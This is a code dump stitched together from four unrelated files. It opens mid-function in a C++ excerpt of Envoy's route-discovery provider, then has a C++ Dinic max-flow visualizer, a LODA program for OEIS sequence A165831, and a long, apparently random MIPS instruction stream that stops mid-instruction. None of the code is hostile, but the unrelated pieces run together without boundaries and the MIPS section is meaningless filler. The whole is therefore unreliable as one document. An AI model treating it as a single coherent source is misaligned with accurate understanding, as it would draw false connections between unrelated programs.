route_config_provider_manager.createRdsRouteConfigProvider( config.rds(), factory_context, stat_prefix, factory_context.initManager()); default: NOT_REACHED_GCOVR_EXCL_LINE; } } StaticRouteConfigProviderImpl::StaticRouteConfigProviderImpl( const envoy::config::route::v3::RouteConfiguration& config, Server::Configuration::FactoryContext& factory_context, RouteConfigProviderManagerImpl& route_config_provider_manager) : config_(new ConfigImpl(config, factory_context.getServerFactoryContext(), factory_context.messageValidationVisitor(), true)), route_config_proto_{config}, last_updated_(factory_context.timeSource().systemTime()), route_config_provider_manager_(route_config_provider_manager) { route_config_provider_manager_.static_route_config_providers_.insert(this); } StaticRouteConfigProviderImpl::~StaticRouteConfigProviderImpl() { route_config_provider_manager_.static_route_config_providers_.erase(this); } // TODO(htuch): If support for multiple clusters is added per #1170 cluster_name_ RdsRouteConfigSubscription::RdsRouteConfigSubscription( const envoy::extensions::filters::network::http_connection_manager::v3::Rds& rds, const uint64_t manager_identifier, Server::Configuration::ServerFactoryContext& factory_context, ProtobufMessage::ValidationVisitor& validator, Init::Manager& init_manager, const std::string& stat_prefix, Envoy::Router::RouteConfigProviderManagerImpl& route_config_provider_manager) : route_config_name_(rds.route_config_name()), factory_context_(factory_context), validator_(validator), init_manager_(init_manager), init_target_(fmt::format("RdsRouteConfigSubscription {}", route_config_name_), [this]() { subscription_->start({route_config_name_}); }), scope_(factory_context.scope().createScope(stat_prefix + "rds." + route_config_name_ + ".")), stat_prefix_(stat_prefix), stats_({ALL_RDS_STATS(POOL_COUNTER(*scope_))}), route_config_provider_manager_(route_config_provider_manager), manager_identifier_(manager_identifier) { subscription_ = factory_context.clusterManager().subscriptionFactory().subscriptionFromConfigSource( rds.config_source(), loadTypeUrl(rds.config_source().resource_api_version()), *scope_, *this); config_update_info_ = std::make_unique<RouteConfigUpdateReceiverImpl>(factory_context.timeSource(), validator); } RdsRouteConfigSubscription::~RdsRouteConfigSubscription() { // If we get destroyed during initialization, make sure we signal that we "initialized". init_target_.ready(); // The ownership of RdsRouteConfigProviderImpl is shared among all HttpConnectionManagers that // hold a shared_ptr to it. The RouteConfigProviderManager holds weak_ptrs to the // RdsRouteConfigProviders. Therefore, the map entry for the RdsRouteConfigProvider has to get // cleaned by the RdsRouteConfigProvider's destructor. route_config_provider_manager_.dynamic_route_config_providers_.erase(manager_identifier_); } void RdsRouteConfigSubscription::onConfigUpdate( const Protobuf::RepeatedPtrField<ProtobufWkt::Any>& resources, const std::string& version_info) { if (!validateUpdateSize(resources.size())) { return; } auto route_config = MessageUtil::anyConvert<envoy::config::route::v3::RouteConfiguration>(resources[0]); MessageUtil::validate(route_config, validator_); if (route_config.name() != route_config_name_) { throw EnvoyException(fmt::format("Unexpected RDS configuration (expecting {}): {}", route_config_name_, route_config.name())); } for (auto* provider : route_config_providers_) { // This seems inefficient, though it is necessary to validate config in each context, // especially when it comes with per_filter_config, provider->validateConfig(route_config); } std::unique_ptr<Init::ManagerImpl> noop_init_manager; std::unique_ptr<Cleanup> resume_rds; if (config_update_info_->onRdsUpdate(route_config, version_info)) { stats_.config_reload_.inc(); if (config_update_info_->routeConfiguration().has_vhds() && config_update_info_->vhdsConfigurationChanged()) { ENVOY_LOG( debug, "rds: vhds configuration present/changed, (re)starting vhds: config_name={} hash={}", route_config_name_, config_update_info_->configHash()); maybeCreateInitManager(version_info, noop_init_manager, resume_rds); vhds_subscription_ = std::make_unique<VhdsSubscription>( config_update_info_, factory_context_, stat_prefix_, route_config_providers_, config_update_info_->routeConfiguration().vhds().config_source().resource_api_version()); vhds_subscription_->registerInitTargetWithInitManager( noop_init_manager == nullptr ? getRdsConfigInitManager() : *noop_init_manager); } else { ENVOY_LOG(debug, "rds: loading new configuration: config_name={} hash={}", route_config_name_, config_update_info_->configHash()); for (auto* provider : route_config_providers_) { provider->onConfigUpdate(); } // RDS update removed VHDS configuration if (!config_update_info_->routeConfiguration().has_vhds()) { vhds_subscription_.release(); } } update_callback_manager_.runCallbacks(); } init_target_.ready(); } // Initialize a no-op InitManager in case the one in the factory_context has completed // initialization. This can happen if an RDS config update for an already established RDS // subscription contains VHDS configuration. void RdsRouteConfigSubscription::maybeCreateInitManager( const std::string& version_info, std::unique_ptr<Init::ManagerImpl>& init_manager, std::unique_ptr<Cleanup>& init_vhds) { if (getRdsConfigInitManager().state() == Init::Manager::State::Initialized) { init_manager = std::make_unique<Init::ManagerImpl>( fmt::format("VHDS {}:{}", route_config_name_, version_info)); init_vhds = std::make_unique<Cleanup>([this, &init_manager, version_info] { // For new RDS subscriptions created after listener warming up, we don't wait for them to warm // up. Init::WatcherImpl noop_watcher( // Note: we just throw it away. fmt::format("VHDS ConfigUpdate watcher {}:{}", route_config_name_, version_info), []() { /*Do nothing.*/ }); init_manager->initialize(noop_watcher); }); } } void RdsRouteConfigSubscription::onConfigUpdate( const Protobuf::RepeatedPtrField<envoy::service::discovery::v3::Resource>& added_resources, const Protobuf::RepeatedPtrField<std::string>& removed_resources, const std::string&) { if (!removed_resources.empty()) { // TODO(#2500) when on-demand resource loading is supported, an RDS removal may make sense (see // discussion in #6879), and so we should do something other than ignoring here. ENVOY_LOG( error, "Server sent a delta RDS update attempting to remove a resource (name: {}). Ignoring.", removed_resources[0]); } if (!added_resources.empty()) { Protobuf::RepeatedPtrField<ProtobufWkt::Any> unwrapped_resource; *unwrapped_resource.Add() = added_resources[0].resource(); onConfigUpdate(unwrapped_resource, added_resources[0].version()); } } void RdsRouteConfigSubscription::onConfigUpdateFailed( Envoy::Config::ConfigUpdateFailureReason reason, const EnvoyException*) { ASSERT(Envoy::Config::ConfigUpdateFailureReason::ConnectionFailure != reason); // We need to allow server startup to continue, even if we have a bad // config. init_target_.ready(); } void RdsRouteConfigSubscription::updateOnDemand(const std::string& aliases) { if (vhds_subscription_.get() == nullptr) { return; } vhds_subscription_->updateOnDemand(aliases); } bool RdsRouteConfigSubscription::validateUpdateSize(int num_resources) { if (num_resources == 0) { ENVOY_LOG(debug, "Missing RouteConfiguration for {} in onConfigUpdate()", route_config_name_); stats_.update_empty_.inc(); init_target_.ready(); return false; } if (num_resources != 1) { throw EnvoyException(fmt::format("Unexpected RDS resource length: {}", num_resources)); // (would be a return false here) } return true; } std::string RdsRouteConfigSubscription::loadTypeUrl(envoy::config::core::v3::ApiVersion resource_api_version) { switch (resource_api_version) { // automatically set api version as V2 case envoy::config::core::v3::ApiVersion::AUTO: case envoy::config::core::v3::ApiVersion::V2: return Grpc::Common::typeUrl( API_NO_BOOST(envoy::api::v2::RouteConfiguration().GetDescriptor()->full_name())); case envoy::config::core::v3::ApiVersion::V3: return Grpc::Common::typeUrl( API_NO_BOOST(envoy::config::route::v3::RouteConfiguration().GetDescriptor()->full_name())); default: NOT_REACHED_GCOVR_EXCL_LINE; } } RdsRouteConfigProviderImpl::RdsRouteConfigProviderImpl( RdsRouteConfigSubscriptionSharedPtr&& subscription, Server::Configuration::FactoryContext& factory_context) : subscription_(std::move(subscription)), config_update_info_(subscription_->routeConfigUpdate()), factory_context_(factory_context.getServerFactoryContext()), validator_(factory_context.messageValidationVisitor()), tls_(factory_context.threadLocal().allocateSlot()) { ConfigConstSharedPtr initial_config; if (config_update_info_->configInfo().has_value()) { initial_config = std::make_shared<ConfigImpl>(config_update_info_->routeConfiguration(), factory_context_, validator_, false); } else { initial_config = std::make_shared<NullConfigImpl>(); } tls_->set([initial_config](Event::Dispatcher&) -> ThreadLocal::ThreadLocalObjectSharedPtr { return std::make_shared<ThreadLocalConfig>(initial_config); }); // It should be 1:1 mapping due to shared rds config. ASSERT(subscription_->routeConfigProviders().empty()); subscription_->routeConfigProviders().insert(this); } RdsRouteConfigProviderImpl::~RdsRouteConfigProviderImpl() { subscription_->routeConfigProviders().erase(this); // It should be 1:1 mapping due to shared rds config. ASSERT(subscription_->routeConfigProviders().empty()); } Router::ConfigConstSharedPtr RdsRouteConfigProviderImpl::config() { return tls_->getTyped<ThreadLocalConfig>().config_; } void RdsRouteConfigProviderImpl::onConfigUpdate() { ConfigConstSharedPtr new_config(new ConfigImpl(config_update_info_->routeConfiguration(), factory_context_, validator_, false)); tls_->runOnAllThreads([new_config](ThreadLocal::ThreadLocalObjectSharedPtr previous) -> ThreadLocal::ThreadLocalObjectSharedPtr { auto prev_config = std::dynamic_pointer_cast<ThreadLocalConfig>(previous); prev_config->config_ = new_config; return previous; }); const auto aliases = config_update_info_->resourceIdsInLastVhdsUpdate(); // Regular (non-VHDS) RDS updates don't populate aliases fields in resources. if (aliases.empty()) { return; } const auto config = std::static_pointer_cast<const ConfigImpl>(new_config); // Notifies connections that RouteConfiguration update has been propagated. // Callbacks processing is performed in FIFO order. The callback is skipped if alias used in // the VHDS update request do not match the aliases in the update response for (auto it = config_update_callbacks_.begin(); it != config_update_callbacks_.end();) { auto found = aliases.find(it->alias_); if (found != aliases.end()) { // TODO(dmitri-d) HeaderMapImpl is expensive, need to profile this Http::HeaderMapImpl host_header; host_header.setHost(VhdsSubscription::aliasToDomainName(it->alias_)); const bool host_exists = config->virtualHostExists(host_header); auto current_cb = it->cb_; it->thread_local_dispatcher_.post([current_cb, host_exists] { if (auto cb = current_cb.lock()) { (*cb)(host_exists); } }); it = config_update_callbacks_.erase(it); } else { it++; } } } void RdsRouteConfigProviderImpl::validateConfig( const envoy::config::route::v3::RouteConfiguration& config) const { // TODO(lizan): consider cache the config here until onConfigUpdate. ConfigImpl validation_config(config, factory_context_, validator_, false); } // Schedules a VHDS request on the main thread and queues up the callback to use when the VHDS // response has been propagated to the worker thread that was the request origin. void RdsRouteConfigProviderImpl::requestVirtualHostsUpdate( const std::string& for_domain, Event::Dispatcher& thread_local_dispatcher, std::weak_ptr<Http::RouteConfigUpdatedCallback> route_config_updated_cb) { auto alias = VhdsSubscription::domainNameToAlias(config_update_info_->routeConfigName(), for_domain); factory_context_.dispatcher().post([this, alias, &thread_local_dispatcher, route_config_updated_cb]() -> void { subscription_->updateOnDemand(alias); config_update_callbacks_.push_back({alias, thread_local_dispatcher, route_config_updated_cb}); }); } RouteConfigProviderManagerImpl::RouteConfigProviderManagerImpl(Server::Admin& admin) { config_tracker_entry_ = admin.getConfigTracker().add("routes", [this] { return dumpRouteConfigs(); }); // ConfigTracker keys must be unique. We are asserting that no one has stolen the "routes" key // from us, since the returned entry will be nullptr if the key already exists. RELEASE_ASSERT(config_tracker_entry_, ""); } Router::RouteConfigProviderSharedPtr RouteConfigProviderManagerImpl::createRdsRouteConfigProvider( const envoy::extensions::filters::network::http_connection_manager::v3::Rds& rds, Server::Configuration::FactoryContext& factory_context, const std::string& stat_prefix, Init::Manager& init_manager) { // RdsRouteConfigSubscriptions are unique based on their serialized RDS config. const uint64_t manager_identifier = MessageUtil::hash(rds); auto it = dynamic_route_config_providers_.find(manager_identifier); if (it == dynamic_route_config_providers_.end()) { // std::make_shared does not work for classes with private constructors. There are ways // around it. However, since this is not a performance critical path we err on the side // of simplicity. RdsRouteConfigSubscriptionSharedPtr subscription(new RdsRouteConfigSubscription( rds, manager_identifier, factory_context.getServerFactoryContext(), factory_context.messageValidationVisitor(), factory_context.initManager(), stat_prefix, *this)); init_manager.add(subscription->init_target_); std::shared_ptr<RdsRouteConfigProviderImpl> new_provider{ new RdsRouteConfigProviderImpl(std::move(subscription), factory_context)}; dynamic_route_config_providers_.insert( {manager_identifier, std::weak_ptr<RdsRouteConfigProviderImpl>(new_provider)}); return new_provider; } else { // Because the RouteConfigProviderManager's weak_ptrs only get cleaned up // in the RdsRouteConfigSubscription destructor, and the single threaded nature // of this code, locking the weak_ptr will not fail. auto existing_provider = it->second.lock(); RELEASE_ASSERT(existing_provider != nullptr, absl::StrCat("cannot find subscribed rds resource ", rds.route_config_name())); init_manager.add(existing_provider->subscription_->init_target_); return existing_provider; } } RouteConfigProviderPtr RouteConfigProviderManagerImpl::createStaticRouteConfigProvider( const envoy::config::route::v3::RouteConfiguration& route_config, Server::Configuration::FactoryContext& factory_context) { auto provider = std::make_unique<StaticRouteConfigProviderImpl>(route_config, factory_context, *this); static_route_config_providers_.insert(provider.get()); return provider; } std::unique_ptr<envoy::admin::v3::RoutesConfigDump> RouteConfigProviderManagerImpl::dumpRouteConfigs() const { auto config_dump = std::make_unique<envoy::admin::v3::RoutesConfigDump>(); for (const auto& element : dynamic_route_config_providers_) { const auto& subscription = element.second.lock()->subscription_; // Because the RouteConfigProviderManager's weak_ptrs only get cleaned up // in the RdsRouteConfigSubscription destructor, and the single threaded nature // of this code, locking the weak_ptr will not fail. ASSERT(subscription); ASSERT(!subscription->route_config_providers_.empty()); if (subscription->routeConfigUpdate()->configInfo()) { auto* dynamic_config = config_dump->mutable_dynamic_route_configs()->Add(); dynamic_config->set_version_info(subscription->routeConfigUpdate()->configVersion()); dynamic_config->mutable_route_config()->PackFrom( API_RECOVER_ORIGINAL(subscription->routeConfigUpdate()->routeConfiguration())); TimestampUtil::systemClockToTimestamp(subscription->routeConfigUpdate()->lastUpdated(), *dynamic_config->mutable_last_updated()); } } for (const auto& provider : static_route_config_providers_) { ASSERT(provider->configInfo()); auto* static_config = config_dump->mutable_static_route_configs()->Add(); static_config->mutable_route_config()->PackFrom( API_RECOVER_ORIGINAL(provider->configInfo().value().config_)); TimestampUtil::systemClockToTimestamp(provider->lastUpdated(), *static_config->mutable_last_updated()); } return config_dump; } } // namespace Router } // namespace Envoy
#include "graph_theory_advanced.h" void draw_edge_residual(int from, int to, string color, string dirr[MAXN][MAXN], int add) { if (f[from][to] == c[from][to]) { drawQ.removeEdgeWeighted(add + from, add + to); return; } if (c[from][to] > 0) { drawQ.addEdgeWeighted(add + from, add + to, color, "\\footnotesize " + to_string(nf[from][to]) + "/" + to_string(c[from][to] - f[from][to]), dirr[from][to], true); } else if (f[to][from] == c[to][from] && c[to][from] > 0) { drawQ.addEdgeWeighted(add + from, add + to, color, "\\footnotesize " + to_string(nf[from][to]) + "/" + to_string(c[from][to] - f[from][to]), dirr[from][to], true); } else { drawQ.addEdgeWeighted(add + from, add + to, color, "\\footnotesize " + to_string(nf[from][to]) + "/" + to_string(c[from][to] - f[from][to]), dirr[from][to], true, curve[from][to]); } } struct edge{ int a, b, c, flow; edge(int a, int b, int c, int flow) : a(a), b(b), c(c), flow(flow) {} }; int ptr[MAXN]; vector<edge> edgelist; #define edges oldedges vector<int> edges[MAXN]; bool bfs_dinic(int s, int t) { queue<int> q; q.push(s); dis[s] = 0; while (!q.empty() && dis[t] == -1) { int v = q.front(); q.pop(); for (int i = 0; i < edges[v].size(); i++) { int ind = edges[v][i], next = edgelist[ind].b; if (dis[next] == -1 && edgelist[ind].flow < edgelist[ind].c) { q.push(next); dis[next] = dis[v] + 1; } } } for (int i = 0; i < edgelist.size(); i++) { int a = edgelist[i].a; int b = edgelist[i].b; int c = edgelist[i].c; int flow = edgelist[i].flow; if (dis[b] == dis[a] + 1 && dis[a] != -1) { draw_edge_residual(a, b, "blue", dirr, 10); } } return dis[t] != -1; } int dfs_dinic(int v, int t, int flow) { if (!flow) { return 0; } if (v == t) { return flow; } for (; ptr[v] < (int) edges[v].size(); ptr[v]++) { int ind = edges[v][ptr[v]]; int next = edgelist[ind].b; if (dis[next] != dis[v] + 1) { continue; } int pushed = dfs_dinic(next, t, min(flow, edgelist[ind].c - edgelist[ind].flow)); if (pushed) { edgelist[ind].flow += pushed; edgelist[ind ^ 1].flow -= pushed; nf[v][next] += pushed; nf[next][v] -= pushed; draw_edge_residual(v, next, "red", dirr, 10); return pushed; } } return 0; } long long dinic_flow(int n, int s, int t) { long long flow = 0; cerr << "!"; while (true) { fill(dis, dis + n, - 1); if (!bfs_dinic(s, t)) { break; } drawQ.increaseTimer(); fill(ptr, ptr + n, 0); while (int pushed = dfs_dinic(s, t, INF)) { flow += pushed; } for (int i = 0; i < edgelist.size(); i++) { int a = edgelist[i].a; int b = edgelist[i].b; int c = edgelist[i].c; int flow = edgelist[i].flow; if (c == 0) { continue; } if (flow > f[a][b]) { drawQ.addEdgeWeighted(a, b, "red", "\\footnotesize " + to_string(flow) + "/" + to_string(c), dirf[a][b], true); } else { drawQ.addEdgeWeighted(a, b, "black", "\\footnotesize " + to_string(flow) + "/" + to_string(c), dirf[a][b], true); } } drawQ.increaseTimer(); for (int i = 0; i < n; i++) for (int j = 0; j < n; j++) nf[i][j] = 0; for (int i = 0; i < edgelist.size(); i++) { int a = edgelist[i].a; int b = edgelist[i].b; int c = edgelist[i].c; int flow = edgelist[i].flow; f[a][b] = flow; draw_edge_residual(a, b, "black", dirr, 10); } } return flow; } void dinic_addedge(int a, int b, int c) { edges[a].push_back((int) edgelist.size()); edgelist.push_back(edge(a, b, c, 0)); edges[b].push_back((int) edgelist.size()); edgelist.push_back(edge(b, a, 0, 0)); } void solve() { c[0][1] = 3; dirf[0][1] = "near start, above,"; dirr[0][1] = "near start, above,"; dirr[1][0] = "midway, left,"; curve[1][0] = ".. controls (6, 4.5) .."; c[0][2] = 3; dirf[0][2] = "near start, below,"; dirr[0][2] = "near start, below,"; dirr[2][0] = "near start, below,"; curve[2][0] = ".. controls (6, 2.5) .."; c[1][2] = 2; dirf[1][2] = "midway, right,"; dirr[1][2] = "midway, right,"; c[1][3] = 3; dirf[1][3] = "midway, above,"; dirr[1][3] = "midway, above,"; dirr[3][1] = "midway, above,"; curve[3][1] = ".. controls (8.4, 5.25) .."; c[2][4] = 2; dirf[2][4] = "midway, below,"; dirr[2][4] = "midway, below,"; dirr[4][2] = "midway, below,"; c[3][4] = 4; dirf[3][4] = "midway, right,"; dirr[3][4] = "midway, right,"; dirr[4][3] = "midway, left,"; curve[4][3] = ".. controls (8.75, 3.5) .."; c[3][5] = 2; dirf[3][5] = "near end, above,"; dirr[3][5] = "near end, above,"; dirr[5][3] = "near start, above,"; c[4][5] = 3; dirf[4][5] = "near end, below,"; dirr[4][5] = "near end, below,"; dirr[5][4] = "midway, right,"; curve[5][4] = ".. controls (10.75, 2.5) .."; dinic_addedge(0, 1, 3); dinic_addedge(0, 2, 3); dinic_addedge(1, 2, 2); dinic_addedge(1, 3, 3); dinic_addedge(2, 4, 2); dinic_addedge(3, 4, 4); dinic_addedge(3, 5, 2); dinic_addedge(4, 5, 3); for (int i = 0; i <= 5; i++) { for (int j = 0; j <= 5; j++) { if (c[i][j] > 0) { drawQ.addEdgeWeighted(i, j, "black", "\\footnotesize 0/" + to_string(c[i][j]), dirf[i][j], true); drawQ.addEdgeWeighted(10 + i, 10 + j, "black", "\\footnotesize 0/" + to_string(c[i][j]), dirr[i][j], true); } } } dinic_flow(6, 0, 5); for (int i = 0; i <= 5; i++) { for (int j = 0; j <= 5; j++) { if (c[i][j] > 0 && f[i][j] > 0) { drawQ.addEdgeWeighted(i, j, "red", "\\footnotesize " + to_string(f[i][j]) + "/" + to_string(c[i][j]), dirf[i][j], true); } } } } int main() { solve(); drawQ.draw(); }
; A165831: Totally multiplicative sequence with a(p) = 10. ; 1,10,10,100,10,100,10,1000,100,100,10,1000,10,100,100,10000,10,1000,10,1000,100,100,10,10000,100,100,1000,1000,10,1000,10,100000,100,100,100,10000,10,100,100,10000,10,1000,10,1000,1000,100,10,100000,100,1000,100,1000,10,10000,100,10000,100,100,10,10000,10,100,1000,1000000,100,1000,10,1000,100,1000,10,100000,10,100,1000,1000,100,1000,10,100000,10000,100,10,10000,100,100,100,10000,10,10000,100,1000,100,100,100,1000000,10,1000,1000,10000 seq $0,1222 ; Number of prime divisors of n counted with multiplicity (also called bigomega(n) or Omega(n)). mov $1,10 pow $1,$0 mov $0,$1
slti $0,$5,-3003 ori $4,$4,14349 ori $5,$5,41072 lb $4,7($0) srl $1,$2,28 sra $1,$1,8 sll $4,$3,5 andi $4,$4,50136 slt $5,$5,$3 lw $4,12($0) subu $0,$3,$3 addu $6,$6,$3 srlv $4,$4,$3 sra $2,$2,31 sh $1,12($0) srav $3,$3,$3 nor $0,$2,$3 lw $1,4($0) nor $1,$1,$3 and $1,$1,$3 nor $4,$4,$3 addu $4,$1,$3 sltiu $1,$4,-8920 sll $6,$0,16 lw $3,8($0) lw $4,8($0) xor $4,$4,$3 slti $3,$4,18316 sltiu $3,$3,-31865 xor $0,$4,$3 subu $1,$4,$3 sltiu $5,$1,-6776 addu $0,$1,$3 sltiu $3,$0,8326 sltiu $4,$3,17525 addiu $3,$5,-21003 nor $4,$4,$3 addiu $1,$6,25251 ori $6,$6,36631 slt $1,$1,$3 lhu $2,4($0) subu $0,$3,$3 sw $4,4($0) sltiu $1,$1,-21992 srlv $0,$0,$3 and $3,$4,$3 lh $5,12($0) addu $4,$1,$3 sw $4,12($0) slti $3,$4,-13267 addiu $3,$3,-10971 sltu $3,$3,$3 xori $0,$5,64467 sllv $5,$3,$3 addiu $3,$3,-28761 xor $4,$3,$3 lhu $3,14($0) or $0,$0,$3 slti $4,$4,1221 or $3,$5,$3 sra $5,$5,29 addiu $4,$3,23228 sll $1,$3,31 or $5,$3,$3 ori $3,$3,14754 or $4,$4,$3 sw $3,16($0) ori $1,$3,46060 slti $5,$6,-20178 lhu $4,14($0) addiu $0,$5,18703 sllv $6,$5,$3 sltiu $3,$4,-30067 lbu $3,7($0) slt $4,$4,$3 subu $3,$3,$3 sh $3,0($0) or $4,$5,$3 srav $3,$5,$3 sltu $0,$0,$3 addu $0,$5,$3 xor $4,$0,$3 addiu $0,$3,-189 lb $3,12($0) lw $3,16($0) sltu $3,$1,$3 andi $3,$1,16850 sltu $1,$1,$3 sh $3,2($0) xor $3,$6,$3 srav $1,$5,$3 sra $3,$0,11 addiu $6,$6,-13599 nor $5,$3,$3 xor $3,$5,$3 or $3,$3,$3 lh $1,2($0) nor $3,$4,$3 sll $4,$4,20 slt $4,$3,$3 lw $1,16($0) sw $6,16($0) addiu $3,$5,7294 sltu $3,$1,$3 sll $3,$3,28 lb $3,5($0) andi $1,$0,28690 lw $4,8($0) srl $4,$4,31 addiu $6,$3,28069 sllv $4,$3,$3 slt $1,$1,$3 lh $0,14($0) sh $1,10($0) sltu $4,$1,$3 lb $1,9($0) sll $3,$1,21 srlv $1,$6,$3 sh $3,4($0) lw $3,8($0) addu $0,$3,$3 lb $1,13($0) lhu $3,10($0) lh $3,12($0) addiu $5,$3,-5472 lbu $5,11($0) addu $3,$1,$3 sll $3,$5,29 and $3,$3,$3 sra $4,$1,18 sh $3,2($0) lw $4,12($0) lbu $3,16($0) ori $4,$0,11380 xor $3,$3,$3 xor $4,$4,$3 addu $1,$5,$3 xori $3,$3,16398 ori $1,$3,30341 andi $3,$3,35561 sllv $3,$1,$3 andi $3,$3,48322 ori $3,$3,40921 sllv $1,$0,$3 srav $4,$4,$3 srl $3,$3,8 sltiu $4,$4,21951 addu $4,$5,$3 sw $3,0($0) subu $3,$1,$3 nor $5,$3,$3 srlv $5,$5,$3 sw $5,12($0) sllv $3,$3,$3 srlv $4,$4,$3 addiu $4,$0,-21841 nor $5,$3,$3 xor $5,$5,$3 sb $3,16($0) lw $3,8($0) sllv $5,$4,$3 lb $1,12($0) lbu $0,11($0) lw $4,8($0) slti $3,$0,7864 sllv $1,$4,$3 slti $4,$6,6627 slt $5,$4,$3 lh $0,14($0) ori $4,$2,42380 sll $4,$4,20 ori $1,$3,13753 sw $3,8($0) lbu $3,12($0) ori $5,$3,497 subu $4,$0,$3 sltiu $4,$6,-28367 xori $3,$3,38156 addu $4,$4,$3 subu $6,$6,$3 lhu $5,12($0) lb $1,13($0) lh $3,0($0) addu $3,$3,$3 addiu $6,$3,4028 or $4,$1,$3 addu $4,$1,$3 and $3,$6,$3 ori $3,$3,17053 xor $3,$1,$3 lw $5,0($0) sh $3,0($0) lw $3,8($0) lb $1,10($0) addiu $5,$3,-16755 srav $4,$4,$3 xor $1,$0,$3 srav $3,$1,$3 addiu $4,$4,-12387 lhu $3,14($0) sra $6,$1,14 slt $4,$4,$3 sltu $4,$4,$3 xori $5,$4,23179 lbu $5,14($0) sllv $3,$1,$3 sltiu $4,$4,-27977 sll $3,$3,28 sltu $3,$3,$3 lhu $3,12($0) srl $0,$1,21 ori $5,$5,21988 srav $1,$1,$3 lbu $5,7($0) lhu $4,8($0) lhu $3,6($0) lbu $1,4($0) sltiu $3,$2,31247 sra $4,$3,22 nor $6,$6,$3 sltiu $1,$1,-24690 sll $6,$6,7 srl $4,$4,25 sllv $3,$4,$3 sb $6,14($0) sh $4,8($0) or $2,$2,$3 xori $5,$4,27647 slt $1,$1,$3 slti $6,$3,11020 xor $3,$3,$3 xor $3,$3,$3 lw $4,16($0) subu $6,$3,$3 subu $3,$3,$3 andi $3,$5,47570 or $4,$1,$3 slti $3,$3,-323 lhu $5,0($0) srl $3,$4,26 addiu $4,$3,28080 nor $3,$3,$3 addu $3,$3,$3 sll $3,$4,1 lhu $2,8($0) sh $4,10($0) addiu $5,$3,-21710 addu $5,$3,$3 addu $3,$4,$3 srl $5,$3,14 sltiu $4,$3,-26239 nor $5,$5,$3 lb $2,6($0) xor $3,$4,$3 xor $3,$5,$3 lh $5,14($0) srav $4,$3,$3 srlv $3,$3,$3 lb $1,7($0) and $5,$1,$3 srlv $3,$4,$3 xor $4,$5,$3 sw $4,0($0) srav $3,$6,$3 sltiu $5,$3,305 srav $1,$3,$3 or $1,$5,$3 sb $3,9($0) addiu $4,$4,28421 or $5,$1,$3 xori $0,$4,62909 srlv $6,$4,$3 lw $4,8($0) xori $3,$3,57463 lw $6,12($0) sllv $1,$0,$3 srl $3,$3,28 sh $3,6($0) slt $3,$0,$3 sllv $5,$1,$3 sllv $3,$5,$3 andi $1,$6,35850 sh $3,4($0) lh $4,6($0) srlv $4,$3,$3 or $4,$4,$3 sra $4,$4,27 addiu $3,$3,22178 slti $3,$3,22391 srav $0,$0,$3 sltu $4,$5,$3 or $3,$4,$3 xor $3,$4,$3 slt $5,$0,$3 andi $3,$3,1390 sra $5,$1,19 sw $3,0($0) sh $0,6($0) lh $5,8($0) lw $4,8($0) xori $0,$0,30484 subu $3,$5,$3 sb $3,7($0) srav $4,$4,$3 lbu $3,14($0) addu $5,$4,$3 sw $5,8($0) sra $4,$5,9 lhu $4,4($0) addiu $1,$1,1313 sb $3,9($0) subu $4,$6,$3 srl $0,$5,19 sltiu $6,$4,-23170 lhu $0,10($0) andi $0,$3,26134 lw $1,0($0) addu $3,$1,$3 sll $3,$3,3 lhu $3,16($0) addu $3,$3,$3 sltiu $4,$5,-23830 sltu $4,$4,$3 lb $2,2($0) and $1,$5,$3 addiu $4,$4,29543 srl $1,$4,7 sb $4,9($0) addiu $3,$3,11659 and $3,$5,$3 or $1,$3,$3 lbu $3,0($0) andi $5,$5,15164 lw $6,8($0) subu $4,$4,$3 sb $3,7($0) srav $1,$6,$3 sllv $1,$1,$3 subu $1,$1,$3 lbu $6,11($0) sltu $3,$3,$3 slt $4,$4,$3 subu $4,$4,$3 addiu $3,$3,5217 subu $3,$0,$3 nor $1,$1,$3 addu $3,$1,$3 lhu $0,10($0) sll $3,$4,20 nor $6,$2,$3 slt $3,$1,$3 andi $4,$4,26672 slt $4,$5,$3 lhu $5,2($0) lb $6,9($0) slti $4,$5,-322 or $3,$4,$3 slti $4,$4,-16225 lw $3,4($0) lhu $4,0($0) addu $4,$5,$3 lbu $3,1($0) sltiu $5,$5,23789 lhu $1,2($0) and $3,$3,$3 subu $4,$1,$3 lhu $0,4($0) srav $4,$5,$3 addiu $5,$4,1259 sllv $3,$1,$3 addiu $3,$3,30076 srlv $5,$6,$3 addu $1,$1,$3 sll $3,$4,25 sw $4,0($0) lw $0,4($0) addu $5,$1,$3 sltiu $4,$5,-4702 addiu $4,$5,-330 addiu $3,$5,17524 addiu $3,$3,17432 lh $4,4($0) srl $1,$3,19 subu $0,$6,$3 sltu $4,$1,$3 addu $5,$1,$3 sra $6,$5,5 lw $3,4($0) lbu $5,10($0) and $5,$4,$3 andi $3,$4,61105 addu $4,$4,$3 xori $1,$5,16499 lh $4,8($0) lh $0,8($0) slti $0,$0,-18706 subu $3,$5,$3 sltu $5,$3,$3 srav $6,$1,$3 xori $1,$6,53298 sw $6,16($0) xor $6,$6,$3 sllv $3,$3,$3 xor $3,$5,$3 slt $4,$4,$3 slt $1,$3,$3 addiu $1,$6,9121 and $1,$1,$3 sra $1,$1,20 sb $0,7($0) xor $1,$0,$3 or $1,$1,$3 sw $1,0($0) sb $1,8($0) sb $4,11($0) sltiu $5,$3,10751 sltu $4,$6,$3 sltiu $4,$4,7553 srl $3,$1,21 lh $1,6($0) subu $1,$6,$3 sll $5,$4,6 sb $0,12($0) addiu $3,$1,25036 sllv $3,$1,$3 lw $5,16($0) slt $0,$1,$3 sh $0,0($0) subu $4,$4,$3 slt $4,$4,$3 sll $6,$6,13 srl $1,$4,11 slt $4,$3,$3 sra $1,$2,19 lw $4,16($0) addu $1,$4,$3 sw $3,0($0) srav $4,$4,$3 addu $3,$2,$3 and $5,$3,$3 and $4,$1,$3 or $1,$5,$3 xori $0,$1,38098 slti $3,$3,3814 addu $1,$5,$3 sw $3,8($0) addu $5,$3,$3 and $1,$4,$3 xori $4,$4,12365 srlv $3,$4,$3 addu $3,$3,$3 or $3,$3,$3 lh $3,4($0) subu $0,$4,$3 subu $0,$4,$3 subu $1,$3,$3 slt $0,$3,$3 lhu $3,12($0) sw $3,0($0) subu $5,$3,$3 or $5,$5,$3 or $4,$5,$3 srav $5,$4,$3 sb $3,2($0) sll $4,$0,20 subu $1,$0,$3 lbu $5,13($0) subu $5,$5,$3 xori $6,$4,10888 ori $0,$5,50186 addu $5,$1,$3 lbu $1,1($0) andi $0,$4,33331 nor $3,$1,$3 srl $3,$5,13 addu $5,$5,$3 lw $4,0($0) sltiu $0,$4,15316 lhu $5,16($0) sra $1,$0,27 sh $1,14($0) subu $5,$1,$3 srav $3,$0,$3 andi 